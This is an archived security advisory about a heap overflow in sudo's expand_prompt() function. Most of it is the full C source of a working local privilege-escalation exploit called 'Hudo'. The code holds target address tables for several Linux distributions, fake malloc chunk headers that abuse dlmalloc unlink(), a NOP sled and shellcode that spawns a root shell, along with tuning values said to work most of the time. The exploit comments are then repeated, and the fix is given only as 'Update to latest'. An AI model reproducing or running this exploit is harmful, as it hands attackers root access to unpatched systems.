25th Nov 2002 [SBWID-5839]
COMMAND
sudo heap overflow exploit via expand_prompt() function
SYSTEMS AFFECTED
All sudo ?? At least up to 1.6.3p7-2
PROBLEM
Update (12 March 2003)
======
Afther much aftherthought, MaXX was kind enough not only to allow us to
publish his code, but to give us a better one ... Thanks MaXX !!
/*
* Created: November 1, 2001
* Updated: August 8, 2002
* ______
* / ___\ __ _ ____ ____ ____ ____ ____ __ _
* \____ \/ / \/ \/ \/ _ \ \ _ \/ / \
* / \___ \ \ \ \ \ ___/ \_/___ \___ \
* \______ / ____/__/ /__/ /___ \__/ / ____/ ____/
* \/\/ \/ \/ \/ \/ \/
*
* Hudo versus Linux/Intel Sudo
* "Another object superstitiously believed to embody magical powers"
* Copyright (C) 2001 MaXX <[email protected]>
*
* Okay.. I discovered a vulnerability in Sudo while I was working on
* the Vudo exploit. All Sudo versions are vulnerable, even the latest
* one. In the file check.c, function expand_prompt(), the author forgot
* to reset the lastchar variable in the second loop. So if the last
* character of the prompt (controlled by the attacker) is a '%', and if
* the first character of the prompt is a 'u' or a 'h', the attacker can
* trick expand_prompt() into performing an additional escape.
*
* But there was not enough memory allocated for this additional escape,
* so the attacker effectively overflowed the new_prompt buffer (but the
* severity of the overflow depends on the length of the username or
* hostname). Quite a weird vulnerability.
*
* After a lot of research, I managed to exploit the bug.. the attacker
* does not even need to know the password of the user used to run the
* exploit (unlike the Vudo exploit.. exploiting the bug via nobody or
* www-data works fine now). I transformed the whole overflow into a
* one-byte heap overflow, which in this case was hard to exploit, but
* was actually exploitable, and I managed to exploit the bug 7 times
* out of the.. 7 times I tried the exploit.
*
* I wrote the most important comments in the hudo.c file, but will
* explain the main technique, and also the most reliable way to find
* out the two command line values needed in order to obtain a root
* shell. BTW.. if you manage to exploit Sudo on other Linux/Intel
* architectures, please update hudo.c and let me know.. thank you.
*
* Imagine you have a hole somewhere in the heap.. you store the
* new_prompt buffer (whose size corresponds to the third command line
* parameter of the Hudo exploit), which will be overflowed, at the
* beginning of this hole. Now imagine that after new_prompt was stored
* at the beginning of the hole, the size of the last_remainder chunk
* (the rest of the hole) is equal to (0x100+16) bytes. If we overwrite
* the LSByte of this size field with a NUL byte during the one-byte
* overflow, the size of the last_remainder chunk will become 0x100.
*
* Now imagine buffers are allocated within the apparent 0x100 bytes
* of the last_remainder chunk, and imagine the hole is finally filled
* with a last allocated buffer. dlmalloc will be tricked into believing
* that the beginning of the next contiguous allocated chunk is located
* immediately after the end of that last allocated buffer, whereas
* it is in fact located 16 bytes after the end of the last allocated
* buffer (dlmalloc is fooled because we transformed (0x100+16) into
* 0x100).
*
* So if the last allocated buffer is free()d, dlmalloc will try to
* unlink() the next contiguous chunk, and will read an imaginary
* boundary tag located within the aforementioned 16 bytes, where of
* course the Hudo exploit stored a fake boundary tag (via the malloc()
* and free() of a huge buffer (whose size corresponds to the second
* command line parameter of the Hudo exploit) filled with fake boundary
* tags).
*
* That's all, folks :) Try $((16392-8)) for cmnd_args_size, and
* $((16392-8-256-16)) for sudo_prompt_size, it will work most of the
* time. If it does not work, a brute force or guess process is needed..
*
* -- MaXX
*/
#include <netdb.h>
#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
/*
* Code ripped from the malloc.c file shipped with the GNU C Library.
*/
typedef struct malloc_chunk {
size_t prev_size;
size_t size;
struct malloc_chunk * fd;
struct malloc_chunk * bk;
} * mchunkptr;
#define SIZE_SZ sizeof(size_t)
#define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
#define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT - 1 )
#define MINSIZE sizeof(struct malloc_chunk)
size_t
request2size( size_t request )
{
size_t size;
size = request + ( SIZE_SZ + MALLOC_ALIGN_MASK );
if ( size < (MINSIZE + MALLOC_ALIGN_MASK) ) {
size = MINSIZE;
} else {
size &= ~MALLOC_ALIGN_MASK;
}
return( size );
}
/*
* Information concerning the architectures exploited by Hudo:
*
* - description: a string describing the target architecture;
*
* - fqdn: a boolean flag indicating whether or not fully-qualified
* hostnames are required in the sudoers file (run `sudo -V' as root in
* order to find out);
*
* - function_pointer: the address of the function pointer overwritten
* by the exploit.. the malloc or free GOT entry should be okay (run
* `objdump -R sudo | grep malloc' for example);
*
* - code_address: the 2^16 bytes heap area where the SHELL environment
* variable is estrdup()ed by Sudo.. for example, if estrdup() returns
* 0x08061242, code_address should be equal to 0x08060000;
*
* sudo: the complete path to the Sudo binary.. should be equal to
* "/usr/bin/sudo" almost everywhere.
*/
typedef struct architecture_s {
char * description;
int fqdn;
char * function_pointer;
char * code_address;
char * sudo;
} architecture_t;
#define FALSE 0
#define TRUE 1
architecture_t architectures[] = {
{
/* Thank you dethy :) */
"Caldera OpenLinux Desktop 4.2 (Sudo version 1.6.3p5-1)",
TRUE,
(char *)0x0805bdcc,
(char *)0x08060000,
"/usr/bin/sudo"
},
{
"Debian GNU/Linux 2.2 (Sudo version 1.6.2p2-2)",
TRUE,
(char *)0x0805c1b0,
(char *)0x08060000,
"/usr/bin/sudo"
},
{
"Debian GNU/Linux 2.2 (Sudo version 1.6.2p2-2.1)",
TRUE,
(char *)0x0805c1b0,
(char *)0x08060000,
"/usr/bin/sudo"
},
{
/* Thank you Sam ;) */
"Debian GNU/Linux 2.3 (Sudo version 1.6.3p7-2)",
TRUE,
(char *)0x0805bd50,
(char *)0x08060000,
"/usr/bin/sudo"
},
{
/* Thank you Sam */
"Debian GNU/Linux 2.3 (Sudo version 1.6.3p7-5)",
TRUE,
(char *)0x0805be10,
(char *)0x08050000,
"/usr/bin/sudo"
},
{
"Red Hat Linux release 6.2 (Sudo version sudo-1.6.1-1)",
FALSE,
(char *)0x0805bf78,
(char *)0x08060000,
"/usr/bin/sudo"
},
{
"Red Hat Linux release 6.2 (Sudo version sudo-1.6.3p6-0.6x)",
FALSE,
(char *)0x0805bd6c,
(char *)0x08060000,
"/usr/bin/sudo"
},
{
/* Thank you Scrippie :) */
"Red Hat Linux release 7.0 (Sudo version 1.6.3-4)",
FALSE,
(char *)0x0805c7ac,
(char *)0x08060000,
"/usr/bin/sudo"
},
{
/* Thank you Scrippie (bis :) */
"Red Hat Linux release 7.0 (Sudo version 1.6.3p6-1)",
FALSE,
(char *)0x0805c5cc,
(char *)0x08060000,
"/usr/bin/sudo"
},
{
/* Thank you dethy (bis ;) */
"Red Hat Linux release 7.1 (Sudo version 1.6.3p6-1)",
FALSE,
(char *)0x0805c5cc,
(char *)0x08060000,
"/usr/bin/sudo"
}
};
#define SUDO_ARGV 4
#define SUDO_ENVP 3
typedef struct hudo_s {
architecture_t * p_architecture;
size_t cmnd_args_size;
size_t sudo_prompt_size;
char * user_name;
char * user_shost;
char escape_specifier;
size_t escaped_size;
char * sudo_argv[ SUDO_ARGV ];
char * sudo_envp[ SUDO_ENVP ];
} hudo_t;
int
user_name( hudo_t * p_hudo )
{
struct passwd * pw;
fputs( "[+] Looking for user_name: ", stderr );
pw = getpwuid( getuid() );
if ( pw == NULL ) {
perror( "\n[-] getpwuid()" );
return( -1 );
}
p_hudo->user_name = pw->pw_name;
fprintf( stderr, "\"%s\"\n", p_hudo->user_name );
return( 0 );
}
/*
* The size of a malloc chunk is always equal to a multiple of 8 bytes..
* the minimum number of bytes needed in order to pad a user's request
* is therefore equal to 0, the maximum number of bytes is equal to 7.
*/
#define MIN_MALLOC_PADDING 0
#define MAX_MALLOC_PADDING MALLOC_ALIGN_MASK
/*
* ESCAPE_SIZE is the length of the escape strings used by
* expand_prompt() ("%u" or "%h").
*/
#define ESCAPE_SIZE 2
/*
* Since expand_prompt() allocated memory in order to store a weird
* escape string ("%u" or "%h"), but since the weird escape string was
* in fact replaced with another string (the username or the hostname),
* the username or hostname has to cover the size (ESCAPE_SIZE) of the
* weird escape string, the malloc padding, and the least significant
* byte of the size field associated with the next contiguous malloc
* chunk, in order to perform a *one-byte* heap overflow.
*
* The minimum size of the username or hostname is therefore equal to 3
* bytes, the maximum size is equal to 10 bytes (should work on almost
* every computer.. at least it will work with nobody and www-data (no
* password is needed in order to successfully exploit Sudo)).
*/
#define MIN_ESCAPED_SIZE ( (MIN_MALLOC_PADDING + 1) + ESCAPE_SIZE )
#define MAX_ESCAPED_SIZE ( (MAX_MALLOC_PADDING + 1) + ESCAPE_SIZE )
int
escaped_size( hudo_t * p_hudo )
{
if ( p_hudo->escaped_size < MIN_ESCAPED_SIZE ) {
return( -1 );
}
if ( p_hudo->escaped_size > MAX_ESCAPED_SIZE ) {
return( -1 );
}
return( 0 );
}
/*
* Computation of the user_shost variable, ripped from Sudo, file
* sudo.c, function init_vars().
*/
int
user_shost( hudo_t * p_hudo )
{
char thost[ MAXHOSTNAMELEN ];
char * user_host;
struct hostent * hp;
char * p;
if ( gethostname(thost, sizeof(thost)) ) {
user_host = "localhost";
} else {
user_host = strdup( thost );
if ( user_host == NULL ) {
return( -1 );
}
}
if ( p_hudo->p_architecture->fqdn ) {
if ( (hp = gethostbyname(user_host)) ) {
user_host = strdup( hp->h_name );
if ( user_host == NULL ) {
return( -1 );
}
}
}
if ( (p = strchr(user_host, '.')) ) {
*p = '\0';
p_hudo->user_shost = strdup( user_host );
if ( p_hudo->user_shost == NULL ) {
return( -1 );
}
} else {
p_hudo->user_shost = user_host;
}
return( 0 );
}
int
escape_specifier_and_escaped_size( hudo_t * p_hudo )
{
fputs( "[+] Determining escape_specifier and escaped_size: ", stderr );
p_hudo->escape_specifier = 'u';
p_hudo->escaped_size = strlen( p_hudo->user_name );
if ( escaped_size(p_hudo) ) {
p_hudo->escape_specifier = 'h';
if ( user_shost(p_hudo) ) {
fputs( "\n[-] user_shost()\n", stderr );
return( -1 );
}
p_hudo->escaped_size = strlen( p_hudo->user_shost );
if ( escaped_size(p_hudo) ) {
fputs( "\n[-] escaped_size()\n", stderr );
return( -1 );
}
}
fprintf( stderr, "'%c' and %u bytes\n", p_hudo->escape_specifier,
p_hudo->escaped_size );
return( 0 );
}
#define SUDO_CMND "/chocolate/starfishstiqz/and/the/hot/dog/flavored/water"
#define DUMMY_CHARACTER 'B'
#define DUMMY_PREV_SIZE 0xdefaced
/*
* A lot of NOPs (2^16 bytes) are stored in the heap (in order to bypass
* Openwall) before the actual shellcode, in order to reliably exploit
* the code_address value given in the architectures array, and in order
* to provide a large memory area filled with even 4 bytes integers (see
* below).
*/
#define NOPS_SIZE 0x10000
/*
* A special, even (0x08eb9090 is an even integer.. an even integer is
* needed in order to provide a memory area filled with 4 bytes integers
* whose PREV_INUSE bits are clear), Intel NOP, capable of skipping the
* 4 garbage bytes introduced at offset 8 by the unlink() exploitation
* technique.
*/
#define NOP "\x90\x90\xeb\x08"
#define NOP_SIZE ( sizeof(NOP)-1 )
#define BK_OFFSET ( sizeof(size_t) + sizeof(size_t) + sizeof(mchunkptr) )
int
sudo_argv( hudo_t * p_hudo )
{
unsigned int ui;
size_t args_size;
char * args;
fputs( "[+] Building sudo_argv..\n", stderr );
ui = 0;
p_hudo->sudo_argv[ ui++ ] = p_hudo->p_architecture->sudo;
p_hudo->sudo_argv[ ui++ ] = SUDO_CMND;
args_size = p_hudo->cmnd_args_size - ( sizeof(SUDO_CMND) + SIZE_SZ );
args = malloc( args_size );
if ( args == NULL ) {
perror( "[-] malloc()" );
return( -1 );
}
p_hudo->sudo_argv[ ui++ ] = args;
p_hudo->sudo_argv[ ui ] = NULL;
memset( args, DUMMY_CHARACTER, (args_size - SIZE_SZ) % MINSIZE );
args += ( args_size - SIZE_SZ ) % MINSIZE;
for ( ui = 0; ui < (args_size - SIZE_SZ) / MINSIZE; ui++ ) {
( (mchunkptr)args )->prev_size = DUMMY_PREV_SIZE;
( (mchunkptr)args )->size = -NOPS_SIZE - NOP_SIZE;
( (mchunkptr)args )->fd = (mchunkptr)(
p_hudo->p_architecture->function_pointer - BK_OFFSET
);
( (mchunkptr)args )->bk = (mchunkptr)(
p_hudo->p_architecture->code_address + NOPS_SIZE - NOP_SIZE
);
args += MINSIZE;
}
*args++ = DUMMY_CHARACTER;
*args++ = DUMMY_CHARACTER;
*args++ = DUMMY_CHARACTER;
*args = '\0';
return( 0 );
}
#define SHELL_KEY "SHELL"
#define SUDO_PROMPT_KEY "SUDO_PROMPT"
char shellcode[] =
/* "\xeb\x08" fodder */
"\x90\x90\x90\x90\x90\x90\x90\x90"
/* setuid( 0 ); */
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
/* setgid( 0 ); */
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"
/* execve( "/bin/sh", {"/bin/sh", NULL}, NULL ); */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define SHELLCODE_SIZE ( sizeof(shellcode)-1 )
#define ESCAPE_CHARACTER '%'
#define DUMMY_STRING "Please type Control-D.. "
#define DUMMY_STRING_SIZE ( sizeof(DUMMY_STRING)-1 )
int
sudo_envp( hudo_t * p_hudo )
{
unsigned int ui;
char * shell;
size_t sudo_prompt_padding;
char * sudo_prompt;
size_t size;
fputs( "[+] Building sudo_envp..\n", stderr );
ui = 0;
shell = malloc( sizeof(SHELL_KEY"=") + NOPS_SIZE + SHELLCODE_SIZE );
if ( shell == NULL ) {
perror( "[-] malloc()" );
return( -1 );
}
p_hudo->sudo_envp[ ui++ ] = shell;
/*
* sudo_prompt_padding was obtained via the following equation:
*
* escaped_size + escaped_size + sudo_prompt_padding + 1 + 1 =
* 1 + ( sudo_prompt_size - SIZE_SZ ) + 1
*/
sudo_prompt_padding = ( p_hudo->sudo_prompt_size - SIZE_SZ ) -
2 * p_hudo->escaped_size;
sudo_prompt = malloc( sizeof(SUDO_PROMPT_KEY"=") + ESCAPE_SIZE +
sudo_prompt_padding + ESCAPE_SIZE );
if ( sudo_prompt == NULL ) {
perror( "[-] malloc()" );
return( -1 );
}
p_hudo->sudo_envp[ ui++ ] = sudo_prompt;
p_hudo->sudo_envp[ ui ] = NULL;
memcpy( shell, SHELL_KEY"=", sizeof(SHELL_KEY) );
shell += sizeof(SHELL_KEY);
for ( size = 0; size < NOPS_SIZE / NOP_SIZE; size++ ) {
memcpy( shell, NOP, NOP_SIZE );
shell += NOP_SIZE;
}
memcpy( shell, shellcode, SHELLCODE_SIZE );
shell += SHELLCODE_SIZE;
*shell = '\0';
memcpy( sudo_prompt, SUDO_PROMPT_KEY"=", sizeof(SUDO_PROMPT_KEY) );
sudo_prompt += sizeof(SUDO_PROMPT_KEY);
*sudo_prompt++ = p_hudo->escape_specifier;
*sudo_prompt++ = ESCAPE_CHARACTER;
*sudo_prompt++ = p_hudo->escape_specifier;
memcpy( sudo_prompt,
DUMMY_STRING+(DUMMY_STRING_SIZE-sudo_prompt_padding%DUMMY_STRING_SIZE),
sudo_prompt_padding % DUMMY_STRING_SIZE );
sudo_prompt += sudo_prompt_padding % DUMMY_STRING_SIZE;
for ( ui = 0; ui < sudo_prompt_padding / DUMMY_STRING_SIZE; ui++ ) {
memcpy( sudo_prompt, DUMMY_STRING, DUMMY_STRING_SIZE );
sudo_prompt += DUMMY_STRING_SIZE;
}
*sudo_prompt++ = ESCAPE_CHARACTER;
*sudo_prompt = '\0';
return( 0 );
}
#define SURE_KILL_ARGV 3
#define SURE_KILL_OPTION "-K"
/*
* In order to systematically trick Sudo into calling the verify_user()
* function, `sudo -K' (removes the user's timestamp entirely) should
* always be executed before the effective exploitation process is
* carried out.. moreover it will provide some pleasant visual effect ;)
*/
int sure_kill( hudo_t * p_hudo )
{
unsigned int sure_kill_argv_index = 0;
char * sure_kill_argv[ SURE_KILL_ARGV ];
pid_t fork_pid;
pid_t wait_pid;
fputs( "[+] Removing the user's timestamp entirely..\n", stderr );
sure_kill_argv[ sure_kill_argv_index++ ] = p_hudo->p_architecture->sudo;
sure_kill_argv[ sure_kill_argv_index++ ] = SURE_KILL_OPTION;
sure_kill_argv[ sure_kill_argv_index ] = NULL;
fork_pid = fork();
if ( fork_pid < 0 ) {
perror( "[-] fork()" );
return( -1 );
} else {
if ( fork_pid == 0 ) {
execve( sure_kill_argv[0], sure_kill_argv, NULL );
perror( "[-] execve()" );
return( -1 );
} else {
wait_pid = wait( NULL );
if ( wait_pid != fork_pid ) {
perror( "[-] wait()" );
return( -1 );
}
}
}
return( 0 );
}
void
usage( char * hudo )
{
unsigned char uc;
fputs( "[+] Usage:\n", stderr );
fprintf( stderr, "[-] %s architecture cmnd_args_size sudo_prompt_size\n",
hudo );
fputs( "\n", stderr );
fputs( "[+] Architectures:\n", stderr );
for ( uc = 0; uc < sizeof(architectures) / sizeof(architecture_t); uc++ ) {
fprintf(stderr, "[-] 0x%02x: %s\n", uc, architectures[uc].description);
}
}
int
main( int argc, char * argv[] )
{
unsigned long ul;
hudo_t hudo;
fputs( "[+] Hudo versus Linux/Intel Sudo\n", stderr );
fputs( "[+] \"Another object superstitiously believed to embody magical "
"powers\"\n", stderr );
fputs( "[+] Copyright (C) 2001 MaXX <[email protected]>\n", stderr );
fputs( "\n", stderr );
if ( argc != 4 ) {
usage( argv[0] == NULL ? "hudo" : argv[0] );
return( -1 );
}
ul = strtoul( argv[1], NULL, 0 );
if ( ul >= sizeof(architectures) / sizeof(architecture_t) ) {
usage( argv[0] );
return( -1 );
}
hudo.p_architecture = &( architectures[ul] );
ul = strtoul( argv[2], NULL, 0 );
if ( ul % MALLOC_ALIGNMENT || ul < MINSIZE ) {
usage( argv[0] );
return( -1 );
}
hudo.cmnd_args_size = ul;
ul = strtoul( argv[3], NULL, 0 );
if ( ul % MALLOC_ALIGNMENT || ul < MINSIZE ) {
usage( argv[0] );
return( -1 );
}
hudo.sudo_prompt_size = ul;
if ( user_name(&hudo) ) {
return( -1 );
}
if ( escape_specifier_and_escaped_size(&hudo) ) {
return( -1 );
}
if ( sudo_argv(&hudo) ) {
return( -1 );
}
if ( sudo_envp(&hudo) ) {
return( -1 );
}
if ( sure_kill(&hudo) ) {
return( -1 );
}
fputs( "[+] Executing sudo..\n", stderr );
execve( hudo.sudo_argv[0], hudo.sudo_argv, hudo.sudo_envp );
perror( "[-] execve()" );
return( -1 );
}
Update (28 November 2002) Editor's note :
========================= =============
Securitybugware is commited to provide computer security related
information that "boggles the mind". The kind of stuff you gather, keep
a copy of, and think "that's worth studying".
MaXX the author of the Hudo code asked us to remove the source from
this page, he agreed that we could keep the comments as they are
harmless and still pretty informative.
In due respect for his work, we therefore removed the source and keep
the comments.
----------
MaXX [[email protected]] :
/*
* Created: November 1, 2001
* Updated: August 8, 2002
* ______
* / ___\ __ _ ____ ____ ____ ____ ____ __ _
* \____ \/ / \/ \/ \/ _ \ \ _ \/ / \
* / \___ \ \ \ \ \ ___/ \_/___ \___ \
* \______ / ____/__/ /__/ /___ \__/ / ____/ ____/
* \/\/ \/ \/ \/ \/ \/
*
* Hudo versus Linux/Intel Sudo
* "Another object superstitiously believed to embody magical powers"
* Copyright (C) 2001 MaXX <[email protected]>
*
* Okay.. I discovered a vulnerability in Sudo while I was working on
* the Vudo exploit. All Sudo versions are vulnerable, even the latest
* one. In the file check.c, function expand_prompt(), the author forgot
* to reset the lastchar variable in the second loop. So if the last
* character of the prompt (controlled by the attacker) is a '%', and if
* the first character of the prompt is a 'u' or a 'h', the attacker can
* trick expand_prompt() into performing an additional escape.
*
* But there was not enough memory allocated for this additional escape,
* so the attacker effectively overflowed the new_prompt buffer (but the
* severity of the overflow depends on the length of the username or
* hostname). Quite a weird vulnerability.
*
* After a lot of research, I managed to exploit the bug.. the attacker
* does not even need to know the password of the user used to run the
* exploit (unlike the Vudo exploit.. exploiting the bug via nobody or
* www-data works fine now). I transformed the whole overflow into a
* one-byte heap overflow, which in this case was hard to exploit, but
* was actually exploitable, and I managed to exploit the bug 7 times
* out of the.. 7 times I tried the exploit.
*
* I wrote the most important comments in the hudo.c file, but will
* explain the main technique, and also the most reliable way to find
* out the two command line values needed in order to obtain a root
* shell. BTW.. if you manage to exploit Sudo on other Linux/Intel
* architectures, please update hudo.c and let me know.. thank you.
*
* Imagine you have a hole somewhere in the heap.. you store the
* new_prompt buffer (whose size corresponds to the third command line
* parameter of the Hudo exploit), which will be overflowed, at the
* beginning of this hole. Now imagine that after new_prompt was stored
* at the beginning of the hole, the size of the last_remainder chunk
* (the rest of the hole) is equal to (0x100+16) bytes. If we overwrite
* the LSByte of this size field with a NUL byte during the one-byte
* overflow, the size of the last_remainder chunk will become 0x100.
*
* Now imagine buffers are allocated within the apparent 0x100 bytes
* of the last_remainder chunk, and imagine the hole is finally filled
* with a last allocated buffer. dlmalloc will be tricked into believing
* that the beginning of the next contiguous allocated chunk is located
* immediately after the end of that last allocated buffer, whereas
* it is in fact located 16 bytes after the end of the last allocated
* buffer (dlmalloc is fooled because we transformed (0x100+16) into
* 0x100).
*
* So if the last allocated buffer is free()d, dlmalloc will try to
* unlink() the next contiguous chunk, and will read an imaginary
* boundary tag located within the aforementioned 16 bytes, where of
* course the Hudo exploit stored a fake boundary tag (via the malloc()
* and free() of a huge buffer (whose size corresponds to the second
* command line parameter of the Hudo exploit) filled with fake boundary
* tags).
*
* That's all, folks :) Try $((16392-8)) for cmnd_args_size, and
* $((16392-8-256-16)) for sudo_prompt_size, it will work most of the
* time. If it does not work, a brute force or guess process is needed..
*
* -- MaXX
*/
/*
* Information concerning the architectures exploited by Hudo:
*
* - description: a string describing the target architecture;
*
* - fqdn: a boolean flag indicating whether or not fully-qualified
* hostnames are required in the sudoers file (run `sudo -V' as root in
* order to find out);
*
* - function_pointer: the address of the function pointer overwritten
* by the exploit.. the malloc or free GOT entry should be okay (run
* `objdump -R sudo | grep malloc' for example);
*
* - code_address: the 2^16 bytes heap area where the SHELL environment
* variable is estrdup()ed by Sudo.. for example, if estrdup() returns
* 0x08061242, code_address should be equal to 0x08060000;
*
* sudo: the complete path to the Sudo binary.. should be equal to
* "/usr/bin/sudo" almost everywhere.
*/
/*
* The size of a malloc chunk is always equal to a multiple of 8 bytes..
* the minimum number of bytes needed in order to pad a user's request
* is therefore equal to 0, the maximum number of bytes is equal to 7.
*/
/*
* ESCAPE_SIZE is the length of the escape strings used by
* expand_prompt() ("%u" or "%h").
*/
/*
* Since expand_prompt() allocated memory in order to store a weird
* escape string ("%u" or "%h"), but since the weird escape string was
* in fact replaced with another string (the username or the hostname),
* the username or hostname has to cover the size (ESCAPE_SIZE) of the
* weird escape string, the malloc padding, and the least significant
* byte of the size field associated with the next contiguous malloc
* chunk, in order to perform a *one-byte* heap overflow.
*
* The minimum size of the username or hostname is therefore equal to 3
* bytes, the maximum size is equal to 10 bytes (should work on almost
* every computer.. at least it will work with nobody and www-data (no
* password is needed in order to successfully exploit Sudo)).
*/
/*
* A lot of NOPs (2^16 bytes) are stored in the heap (in order to bypass
* Openwall) before the actual shellcode, in order to reliably exploit
* the code_address value given in the architectures array, and in order
* to provide a large memory area filled with even 4 bytes integers (see
* below).
*/
/*
* A special, even (0x08eb9090 is an even integer.. an even integer is
* needed in order to provide a memory area filled with 4 bytes integers
* whose PREV_INUSE bits are clear), Intel NOP, capable of skipping the
* 4 garbage bytes introduced at offset 8 by the unlink() exploitation
* technique.
*/
/*
* In order to systematically trick Sudo into calling the verify_user()
* function, `sudo -K' (removes the user's timestamp entirely) should
* always be executed before the effective exploitation process is
* carried out.. moreover it will provide some pleasant visual effect ;)
*/
SOLUTION
Update to latest